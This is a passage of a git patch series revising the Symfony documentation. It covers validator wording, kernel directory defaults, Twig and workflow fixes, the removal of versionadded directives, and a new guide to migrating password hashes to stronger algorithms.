index f4237a6c483..6ffeda1686e 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -1,9 +1,8 @@
 IsTrue
 ======
 
-Validates that a value is ``true``. Specifically, this checks to see if
-the value is exactly ``true``, exactly the integer ``1``, or exactly the
-string "``1``".
+Validates that a value is ``true``. Specifically, this checks if the value is
+exactly ``true``, exactly the integer ``1``, or exactly the string ``"1"``.
 
 Also see :doc:`IsFalse <IsFalse>`.
 
@@ -23,9 +22,9 @@ Basic Usage
 -----------
 
 This constraint can be applied to properties (e.g. a ``termsAccepted`` property
-on a registration model) or to a "getter" method. It's most powerful in
-the latter case, where you can assert that a method returns a true value.
-For example, suppose you have the following method::
+on a registration model) and methods. It's most powerful in the latter case,
+where you can assert that a method returns a true value. For example, suppose
+you have the following method::
 
     // src/AppBundle/Entity/Author.php
     namespace AppBundle\Entity;
@@ -40,7 +39,7 @@ For example, suppose you have the following method::
         }
     }
 
-Then you can constrain this method with ``IsTrue``.
+Then you can validate this method with ``IsTrue`` as follows:
 
 .. configuration-block::
 

From 9da96e1c8f5977c22ad04b3e2ab76877a2a68375 Mon Sep 17 00:00:00 2001
From: Jerzy Zawadzki <zawadzki.jerzy@gmail.com>
Date: Wed, 27 Nov 2019 23:18:45 +0100
Subject: [PATCH 0016/7107] [minor] remove usage of Kernel::$rootDir from docs

---
 reference/configuration/kernel.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 4ef889f6fb5..5852927e7ad 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -105,7 +105,7 @@ method to return the right project directory::
 Cache Directory
 ~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``$this->rootDir/cache/$this->environment``
+**type**: ``string`` **default**: ``$this->getProjectDir()/var/cache/$this->environment``
 
 This returns the absolute path of the cache directory of your Symfony project.
 It's calculated automatically based on the current
@@ -119,7 +119,7 @@ cache directory.
 Log Directory
 ~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``$this->rootDir/log``
+**type**: ``string`` **default**: ``$this->getProjectDir()/var/log``
 
 .. deprecated:: 4.2
 

From f046117ccf61991d4dc367ef858b5da74e26f585 Mon Sep 17 00:00:00 2001
From: Jerzy Zawadzki <zawadzki.jerzy@gmail.com>
Date: Wed, 27 Nov 2019 23:44:47 +0100
Subject: [PATCH 0017/7107] Removed constructor parameters from
 AuthenticationTrustResolver

---
 components/security/authorization.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 647a204f0b5..7bfe29d6cfa 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -104,10 +104,8 @@ level of authentication, i.e. is the user fully authenticated, or only based
 on a "remember-me" cookie, or even authenticated anonymously?::
 
     use Symfony\Component\Security\Core\Authentication\AuthenticationTrustResolver;
-    use Symfony\Component\Security\Core\Authentication\Token\AnonymousToken;
-    use Symfony\Component\Security\Core\Authentication\Token\RememberMeToken;
 
-    $trustResolver = new AuthenticationTrustResolver(AnonymousToken::class, RememberMeToken::class);
+    $trustResolver = new AuthenticationTrustResolver();
 
     $authenticatedVoter = new AuthenticatedVoter($trustResolver);
 

From 9007f8d566323cf37bce9283c7264771bc011881 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Nov 2019 18:11:38 +0100
Subject: [PATCH 0018/7107] Fixed a merge conflict

---
 reference/twig_reference.rst | 20 --------------------
 1 file changed, 20 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index ad2eb85c139..6725f9a7f46 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -624,28 +624,8 @@ Global Variables
 app
 ~~~
 
-<<<<<<< HEAD
 The ``app`` variable is injected automatically by Symfony in all templates and
 provides access to lots of useful application information. Read more about the
 :ref:`Twig global app variable <twig-app-variable>`.
 
 .. _`default filters and functions defined by Twig`: https://twig.symfony.com/doc/2.x/#reference
-=======
-The ``app`` variable is available everywhere and gives access to many commonly
-needed objects and values. It is an instance of
-:class:`Symfony\\Bundle\\FrameworkBundle\\Templating\\GlobalVariables`.
-
-The available attributes are:
-
-* ``app.user``, a PHP object representing the current user;
-* ``app.request``, a :class:`Symfony\\Component\\HttpFoundation\\Request` object;
-* ``app.session``, a :class:`Symfony\\Component\\HttpFoundation\\Session\\Session` object;
-* ``app.environment``, a string with the name of the execution environment;
-* ``app.debug``, a boolean telling whether the debug mode is enabled in the app;
-* ``app.token``, a :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`
-  object representing the security token
-* ``app.flashes``, returns flash messages from the session
-
-.. _`Twig Reference`: https://twig.symfony.com/doc/2.x/#reference
-.. _`Twig Bridge`: https://github.com/symfony/symfony/tree/master/src/Symfony/Bridge/Twig/Extension
->>>>>>> 3.4

From 0de1588a46ff2c0a30113948d5b456bc163deba6 Mon Sep 17 00:00:00 2001
From: Wouter J <wouter@wouterj.nl>
Date: Sun, 13 Oct 2019 01:38:54 +0200
Subject: [PATCH 0019/7107] Added article on password migrations

---
 security.rst                    |   1 +
 security/password_migration.rst | 210 ++++++++++++++++++++++++++++++++
 2 files changed, 211 insertions(+)
 create mode 100644 security/password_migration.rst

diff --git a/security.rst b/security.rst
index c91f7babc2f..3bfb384121d 100644
--- a/security.rst
+++ b/security.rst
@@ -1000,6 +1000,7 @@ Authentication (Identifying/Logging in the User)
     security/form_login_setup
     security/json_login_setup
     security/guard_authentication
+    security/password_migration
     security/auth_providers
     security/user_provider
     security/ldap
diff --git a/security/password_migration.rst b/security/password_migration.rst
new file mode 100644
index 00000000000..7ce2d08d153
--- /dev/null
+++ b/security/password_migration.rst
@@ -0,0 +1,210 @@
+.. index::
+    single: Security; How to Migrate a Password Hash
+
+How to Migrate a Password Hash
+==============================
+
+.. versionadded:: 4.4
+
+    Password migration was introduced in Symfony 4.4.
+
+In order to protect passwords, it is recommended to store them using the latest
+hash algorithms. This means that if a better hash algorithm is supported on the
+system, the user's password should be rehashed and stored. Symfony provides this
+functionality when a user is successfully authenticated.
+
+To enable this, make sure you apply the following steps to your application:
+
+#. `Configure a new Encoder Using "migrate_from"`_
+#. `Upgrade the Password`_
+#. Optionally, `Trigger Password Migration From a Custom Encoder`_
+
+Configure a new Encoder Using "migrate_from"
+--------------------------------------------
+
+When configuring a new encoder, you can specify a list of legacy encoders by
+using the ``migrate_from`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            encoders:
+                legacy:
+                    algorithm: sha256
+                    encode_as_base64: false
+                    iterations: 1
+
+                App\Entity\User:
+                    # the new encoder, along with its options
+                    algorithm: sodium
+                    migrate_from:
+                        - bcrypt # uses the "bcrypt" encoder with the default options
+                        - legacy # uses the "legacy" encoder configured above
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:security="http://symfony.com/schema/dic/security"
+            xsi:schemaLocation="http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <security:config>
+                <!-- ... -->
+
+                <security:encoder class="legacy"
+                    algorithm="sha256"
+                    encode-as-base64="false"
+                    iterations="1"
+                />
+
+                <!-- algorithm: the new encoder, along with its options -->
+                <security:encoder class="App\Entity\User"
+                    algorithm="sodium"
+                >
+                    <!-- uses the bcrypt encoder with the default options -->
+                    <security:migrate-from>bcrypt</security:migrate-from>
+
+                    <!-- uses the legacy encoder configured above -->
+                    <security:migrate-from>legacy</security:migrate-from>
+                </security:encoder>
+            </security:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            // ...
+
+            'encoders' => [
+                'legacy' => [
+                    'algorithm' => 'sha256',
+                    'encode_as_base64' => false,
+                    'iterations' => 1,
+                ],
+
+                'App\Entity\User' => [
+                    // the new encoder, along with its options
+                    'algorithm' => 'sodium',
+                    'migrate_from' => [
+                        'bcrypt', // uses the "bcrypt" encoder with the default options
+                        'legacy', // uses the "legacy" encoder configured above
+                    ],
+                ],
+            ],
+        ]);
+
+.. tip::
+
+    The *auto*, *native*, *bcrypt* and *argon* encoders automatically enable
+    password migration using the following list of ``migrate_from`` algorithms:
+
+    #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
+    #. Message digest (which uses :phpfunction:`hash`)
+
+    Both use the ``hash_algorithm`` setting as algorithm. It is recommended to
+    use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
+    encoder is used.
+
+Upgrade the Password
+--------------------
+
+Upon successful login, the Security system checks whether a better algorithm
+is available to hash the user's password. If it is, it'll hash the correct
+password using the new hash. You can enable this behavior by implementing how
+this newly hashed password should be stored:
+
+* `When using Doctrine's entity user provider <Upgrade the Password when using Doctrine>`_ 
+* `When using a custom user provider <Upgrade the Password when using a custom User Provider>`_ 
+
+After this, you're done and passwords are always hashed as secure as possible!
+
+Upgrade the Password when using Doctrine
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When using the :ref:`entity user provider <security-entity-user-provider>`, implement
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
+the ``UserRepository`` (see `the Doctrine docs for information`_ on how to
+create this class if it's not already created). This interface implements
+storing the newly created password hash::
+
+    // src/Repository/UserRepository.php
+    namespace App\Repository;
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+
+    class UserRepository extends EntityRepository implements PasswordUpgraderInterface
+    {
+        // ...
+
+        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        {
+            // set the new encoded password on the User object
+            $user->setPassword($newEncodedPassword);
+
+            // execute the queries on the database
+            $this->getEntityManager()->flush($user);
+        }
+    }
+
+Upgrade the Password when using a Custom User Provider
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you're using a :ref:`custom user provider <custom-user-provider>`, implement the
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
+the user provider::
+
+    // src/Security/UserProvider.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+
+    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
+    {
+        // ...
+
+        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        {
+            // set the new encoded password on the User object
+            $user->setPassword($newEncodedPassword);
+
+            // ... store the new password
+        }
+    }
+
+Trigger Password Migration From a Custom Encoder
+------------------------------------------------
+
+If you're using a custom password encoder, you can trigger the password
+migration by returning ``true`` in the ``needsRehash()`` method::
+
+    // src/Security/UserProvider.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\Security\Core\Encoder\PasswordEncoderInterface;
+
+    class CustomPasswordEncoder implements PasswordEncoderInterface
+    {
+        // ...
+
+        public function needsRehash(string $encoded): bool
+        {
+            // check whether the current password is hash using an outdated encoder
+            $hashIsOutdated = ...;
+
+            return $hashIsOutdated;
+        }
+    }
+
+.. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories

From d1edbfdbf8d6551bdd485aec5376a6da2649e660 Mon Sep 17 00:00:00 2001
From: Alsciende <bertolini.cedric@me.com>
Date: Sun, 1 Dec 2019 19:31:52 +0100
Subject: [PATCH 0020/7107] Small typo in workflow.rst

Replaced `worflowRegistry` with `workflowRegistry`.
---
 workflow.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 3c9bb5e916a..fd55f189609 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -227,16 +227,16 @@ registry in the constructor::
     class MyClass
     {
     
-        private $worflowRegistry;
+        private $workflowRegistry;
     
         public function __construct(Registry $workflowRegistry)
         {
-            $this->worflowRegistry = $worflowRegistry;
+            $this->workflowRegistry = $workflowRegistry;
         }
     
         public function toReview(BlogPost $blogPost)
         {
-            $workflow = $this->worflowRegistry->get($blogPost);
+            $workflow = $this->workflowRegistry->get($blogPost);
         
             // Update the currentState on the post
             try {

From 1218275fb91a99f4517e72974c8fa909f8dfc133 Mon Sep 17 00:00:00 2001
From: dawidpierzchalski <dawid.pierzchalski@gmail.com>
Date: Fri, 29 Nov 2019 13:37:12 +0100
Subject: [PATCH 0021/7107] Update impersonating_user.rst

---
 security/impersonating_user.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 310db3350d2..9c6d44332ce 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -102,7 +102,7 @@ over the user's roles until you find one that is a ``SwitchUserRole`` object::
     use Symfony\Component\Security\Core\Security;
     // ...
 
-    public class SomeService
+    class SomeService
     {
         private $security;
 

From 81321a47b6695ad8f86962bfe0152bc017b27b27 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 2 Dec 2019 11:33:21 +0100
Subject: [PATCH 0022/7107] add versionadded directive. refs #12741

---
 service_container.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 1febe0cf8cc..28f49130585 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -739,6 +739,10 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
             // ...
         };
 
+.. versionadded:: 4.4
+
+    The feature to bind tagged services was introduced in Symfony 4.4.
+
 By putting the ``bind`` key under ``_defaults``, you can specify the value of *any*
 argument for *any* service defined in this file! You can bind arguments by name
 (e.g. ``$adminEmail``), by type (e.g. ``Psr\Log\LoggerInterface``) or both

From 01e2f3586a70290ef673f10c4cbacb536c5ec53c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 2 Dec 2019 11:33:28 +0100
Subject: [PATCH 0023/7107] minor

---
 service_container.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 28f49130585..dded8bad51d 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -190,8 +190,8 @@ each time you ask for it.
                     ->defaults()
                         ->autowire()      // Automatically injects dependencies in your services.
                         ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
-                ;                      
-                                       
+                ;
+
                 // makes classes in src/ available to be used as services
                 // this creates a service per class whose id is the fully-qualified class name
                 $services->load('App\\', '../src/*')

From 833ed5e9f2f01bbbdd20a94012c89983d79553a9 Mon Sep 17 00:00:00 2001
From: BETARI <amine.betari@gmail.com>
Date: Sun, 1 Dec 2019 00:06:00 +0100
Subject: [PATCH 0024/7107] Update parent_services.rst

---
 service_container/parent_services.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index e4bafac16b4..31fd839a807 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -39,7 +39,7 @@ Your child service classes may look like this::
     // src/AppBundle/Repository/DoctrineUserRepository.php
     namespace AppBundle\Repository;
 
-    use AppBundle\Repository\BaseDoctrineRepository
+    use AppBundle\Repository\BaseDoctrineRepository;
 
     // ...
     class DoctrineUserRepository extends BaseDoctrineRepository
@@ -50,7 +50,7 @@ Your child service classes may look like this::
     // src/AppBundle/Repository/DoctrinePostRepository.php
     namespace AppBundle\Repository;
 
-    use AppBundle\Repository\BaseDoctrineRepository
+    use AppBundle\Repository\BaseDoctrineRepository;
 
     // ...
     class DoctrinePostRepository extends BaseDoctrineRepository

From e930ea912e3b87effa489414adc78a7aa3e24fc2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 3 Dec 2019 11:02:44 +0100
Subject: [PATCH 0025/7107] *Response::create() method is deprecated

---
 migration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/migration.rst b/migration.rst
index 89bfd5c21c1..144fe93d08d 100644
--- a/migration.rst
+++ b/migration.rst
@@ -433,7 +433,7 @@ which script to call and wrap the output in a response class::
     {
         public function loadLegacyScript(string $requestPath, string $legacyScript)
         {
-            return StreamedResponse::create(
+            return new StreamedResponse(
                 function () use ($requestPath, $legacyScript) {
                     $_SERVER['PHP_SELF'] = $requestPath;
                     $_SERVER['SCRIPT_NAME'] = $requestPath;

From 627ec43dc66a6a4fc2b0b52c2fedba31e4d96d55 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Thu, 28 Nov 2019 10:50:04 +0100
Subject: [PATCH 0026/7107] Update mailer.rst

---
 components/mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/mailer.rst b/components/mailer.rst
index 0ffc22d537d..f4290bed825 100644
--- a/components/mailer.rst
+++ b/components/mailer.rst
@@ -64,10 +64,10 @@ it:
 
 Then, use the SMTP Gmail transport::
 
-    use Symfony\Component\Mailer\Bridge\Google\Smtp\GmailTransport;
+    use Symfony\Component\Mailer\Bridge\Google\Transport\GmailSmtpTransport;
     use Symfony\Component\Mailer\Mailer;
 
-    $transport = new GmailTransport('user', 'pass');
+    $transport = new GmailSmtpTransport('user', 'pass');
     $mailer = new Mailer($transport);
     $mailer->send($email);
 

From 37a5f1eba6c993ecedd495ef8c1e2c69ca28c37f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 3 Dec 2019 11:22:30 +0100
Subject: [PATCH 0027/7107] get/setThrowable

---
 components/http_kernel.rst | 14 +++++++++++++-
 event_dispatcher.rst       |  2 +-
 reference/events.rst       |  4 ++--
 3 files changed, 16 insertions(+), 4 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 046ca09a6f6..b1c98d7cae2 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -526,10 +526,22 @@ to the exception.
 
 Each listener to this event is passed a :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
 object, which you can use to access the original exception via the
-:method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::getException`
+:method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::getThrowable`
 method. A typical listener on this event will check for a certain type of
 exception and create an appropriate error ``Response``.
 
+.. versionadded:: 4.4
+
+    The :method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::getThrowable` and
+    :method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::setThrowable` methods
+    were introduced in Symfony 4.4.
+
+.. deprecated:: 4.4
+
+    The :method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::getException` and
+    :method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::setException` methods
+    are deprecated since Symfony 4.4.
+
 For example, to generate a 404 page, you might throw a special type of exception
 and then add a listener on this event that looks for this exception and
 creates and returns a 404 ``Response``. In fact, the HttpKernel component
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index c1c7d1c6f95..8df171497a5 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -35,7 +35,7 @@ The most common way to listen to an event is to register an **event listener**::
         public function onKernelException(ExceptionEvent $event)
         {
             // You get the exception object from the received event
-            $exception = $event->getException();
+            $exception = $event->getThrowable();
             $message = sprintf(
                 'My Error says: %s with code: %s',
                 $exception->getMessage(),
diff --git a/reference/events.rst b/reference/events.rst
index d6d7b669573..b7eec4d8dbd 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -239,14 +239,14 @@ sent as response::
 
     public function onKernelException(ExceptionEvent $event)
     {
-        $exception = $event->getException();
+        $exception = $event->getThrowable();
         $response = new Response();
         // setup the Response object based on the caught exception
         $event->setResponse($response);
 
         // you can alternatively set a new Exception
         // $exception = new \Exception('Some special exception');
-        // $event->setException($exception);
+        // $event->setThrowable($exception);
     }
 
 .. note::

From f03df932f81a985fe0b675319dbc79bafbe96591 Mon Sep 17 00:00:00 2001
From: Florent Destremau <florent.destremau@gmail.com>
Date: Sat, 30 Nov 2019 16:54:29 +0100
Subject: [PATCH 0028/7107] Added note regarding workflow "entered" event being
 dispatched on creation

---
 workflow.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index fd55f189609..f3b960ba6c5 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -215,7 +215,7 @@ what actions are allowed on a blog post::
 
     // See all the available transitions for the post in the current state
     $transitions = $workflow->getEnabledTransitions($post);
-    
+
 Accessing the Workflow in a Class
 ---------------------------------
 
@@ -223,21 +223,21 @@ To access workflow inside a class, use dependency injection and inject the
 registry in the constructor::
 
     use Symfony\Component\Workflow\Registry;
-    
+
     class MyClass
     {
-    
+
         private $workflowRegistry;
-    
+
         public function __construct(Registry $workflowRegistry)
         {
             $this->workflowRegistry = $workflowRegistry;
         }
-    
+
         public function toReview(BlogPost $blogPost)
         {
             $workflow = $this->workflowRegistry->get($blogPost);
-        
+
             // Update the currentState on the post
             try {
                 $workflow->apply($post, 'to_review');
@@ -339,6 +339,11 @@ order:
     The leaving and entering events are triggered even for transitions that stay
     in same place.
 
+.. versionadded:: 4.3
+
+    Following events are also dispatched when the subject enters the workflow
+    for the first time: ``workflow.entered`` and ``workflow.[worflow name].entered``.
+
 Here is an example of how to enable logging for every time a "blog_publishing"
 workflow leaves a place::
 

From 9774ef214cc7d189a6bb24d66b9ed70418846b72 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 3 Dec 2019 13:27:44 +0100
Subject: [PATCH 0029/7107] Remove old versionadded directives

---
 components/expression_language/syntax.rst |  4 ----
 components/http_kernel.rst                | 12 ------------
 security/password_migration.rst           |  8 ++------
 service_container.rst                     |  4 ----
 workflow.rst                              |  5 -----
 5 files changed, 2 insertions(+), 31 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 5b7ee72ec7a..045451491f5 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -21,10 +21,6 @@ The component supports:
 * **null** - ``null``
 * **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
 
-    .. versionadded:: 4.4
-    
-        The ``exponential`` literal was introduced in Symfony 4.4.
-
 .. caution::
 
     A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index f4b1618c62f..19f52b757ce 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -530,18 +530,6 @@ object, which you can use to access the original exception via the
 method. A typical listener on this event will check for a certain type of
 exception and create an appropriate error ``Response``.
 
-.. versionadded:: 4.4
-
-    The :method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::getThrowable` and
-    :method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::setThrowable` methods
-    were introduced in Symfony 4.4.
-
-.. deprecated:: 4.4
-
-    The :method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::getException` and
-    :method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::setException` methods
-    are deprecated since Symfony 4.4.
-
 For example, to generate a 404 page, you might throw a special type of exception
 and then add a listener on this event that looks for this exception and
 creates and returns a 404 ``Response``. In fact, the HttpKernel component
diff --git a/security/password_migration.rst b/security/password_migration.rst
index 7ce2d08d153..d11146f6b16 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -4,10 +4,6 @@
 How to Migrate a Password Hash
 ==============================
 
-.. versionadded:: 4.4
-
-    Password migration was introduced in Symfony 4.4.
-
 In order to protect passwords, it is recommended to store them using the latest
 hash algorithms. This means that if a better hash algorithm is supported on the
 system, the user's password should be rehashed and stored. Symfony provides this
@@ -122,8 +118,8 @@ is available to hash the user's password. If it is, it'll hash the correct
 password using the new hash. You can enable this behavior by implementing how
 this newly hashed password should be stored:
 
-* `When using Doctrine's entity user provider <Upgrade the Password when using Doctrine>`_ 
-* `When using a custom user provider <Upgrade the Password when using a custom User Provider>`_ 
+* `When using Doctrine's entity user provider <Upgrade the Password when using Doctrine>`_
+* `When using a custom user provider <Upgrade the Password when using a custom User Provider>`_
 
 After this, you're done and passwords are always hashed as secure as possible!
 
diff --git a/service_container.rst b/service_container.rst
index dded8bad51d..6fc33e94fa7 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -739,10 +739,6 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
             // ...
         };
 
-.. versionadded:: 4.4
-
-    The feature to bind tagged services was introduced in Symfony 4.4.
-
 By putting the ``bind`` key under ``_defaults``, you can specify the value of *any*
 argument for *any* service defined in this file! You can bind arguments by name
 (e.g. ``$adminEmail``), by type (e.g. ``Psr\Log\LoggerInterface``) or both
diff --git a/workflow.rst b/workflow.rst
index e29a4f7d14c..d1c78568879 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -339,11 +339,6 @@ order:
     The leaving and entering events are triggered even for transitions that stay
     in same place.
 
-.. versionadded:: 4.3
-
-    Following events are also dispatched when the subject enters the workflow
-    for the first time: ``workflow.entered`` and ``workflow.[worflow name].entered``.
-
 Here is an example of how to enable logging for every time a "blog_publishing"
 workflow leaves a place::
 

From 74ad03422289426833f7de9807fe07608178128e Mon Sep 17 00:00:00 2001
From: Johan <JohJohan@users.noreply.github.com>
Date: Tue, 3 Dec 2019 17:00:47 +0100
Subject: [PATCH 0030/7107] Update lock.rst

---
 components/lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index eb67082ba4a..7869c2e019d 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -215,7 +215,7 @@ Available Stores
 ----------------
 
 Locks are created and managed in ``Stores``, which are classes that implement
-:class:`Symfony\\Component\\Lock\\PersistStoreInterface` and, optionally,
+:class:`Symfony\\Component\\Lock\\PersistingStoreInterface` and, optionally,
 :class:`Symfony\\Component\\Lock\\BlockingStoreInterface`.
 
 The component includes the following built-in store types:
@@ -233,7 +233,7 @@ Store                                         Scope   Blocking  Expiring
 
 .. versionadded:: 4.4
 
-    The ``PersistStoreInterface`` and ``BlockingStoreInterface`` interfaces were
+    The ``PersistingStoreInterface`` and ``BlockingStoreInterface`` interfaces were
     introduced in Symfony 4.4. In previous versions there was only one interface
     called ``Symfony\Component\Lock\StoreInterface``.
 

From b2816282b10ea6ace170f0ca80894d71c39eacfc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pablo=20Schl=C3=A4pfer?= <github@spam.pableu.net>
Date: Tue, 3 Dec 2019 23:50:31 +0100
Subject: [PATCH 0031/7107] fix a typo in mailer docs (Mutliple -> Multiple)

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index cff2d439ce8..acf196c0ebc 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -703,7 +703,7 @@ you have a transport called ``async``, you can route the message there:
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
-Mutliple Email Transports
+Multiple Email Transports
 -------------------------
 
 .. versionadded:: 4.4

From 7361fdbf9743ffd523290389b0fe4f2744546c15 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 Dec 2019 12:38:51 +0100
Subject: [PATCH 0032/7107] [Form] Documented the choice_self_translation
 option of LanguageType

---
 reference/forms/types/language.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 7824120d605..d292fde172c 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -24,6 +24,7 @@ manually, but then you should just use the ``ChoiceType`` directly.
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
 | Options     | - `alpha3`_                                                            |
+|             | - `choice_self_translation`_                                           |
 |             | - `choice_translation_locale`_                                         |
 +-------------+------------------------------------------------------------------------+
 | Overridden  | - `choices`_                                                           |
@@ -74,6 +75,23 @@ If this option is ``true``, the choice values use the `ISO 639-2 alpha-3`_
 three-letter codes (e.g. French = ``fra``) instead of the default
 `ISO 639-1 alpha-2`_ two-letter codes (e.g. French = ``fr``).
 
+choice_self_translation
+~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 5.1
+
+    The ``choice_self_translation`` option was introduced in Symfony 5.1.
+
+By default, the choice values are translated into the locale of the application.
+For example, when using ``en`` as the locale, you'll get an array like
+``[..., 'cs' => 'Czech', ..., 'es' => 'Spanish', ..., 'zh' => 'Chinese']``.
+
+If this option is ``true``, each choice value is translated into its own
+language. The resulting array is the same regardless of the application locale:
+``[..., 'cs' => 'čeština', ..., 'es' => 'español', ..., 'zh' => '中文']``.
+
 .. include:: /reference/forms/types/options/choice_translation_locale.rst.inc
 
 Overridden Options

From 8438276e6f4103dcd2ea64419af067a82bb71589 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Dec 2019 11:14:58 +0100
Subject: [PATCH 0033/7107] Minor tweak in a security expression explanation

---
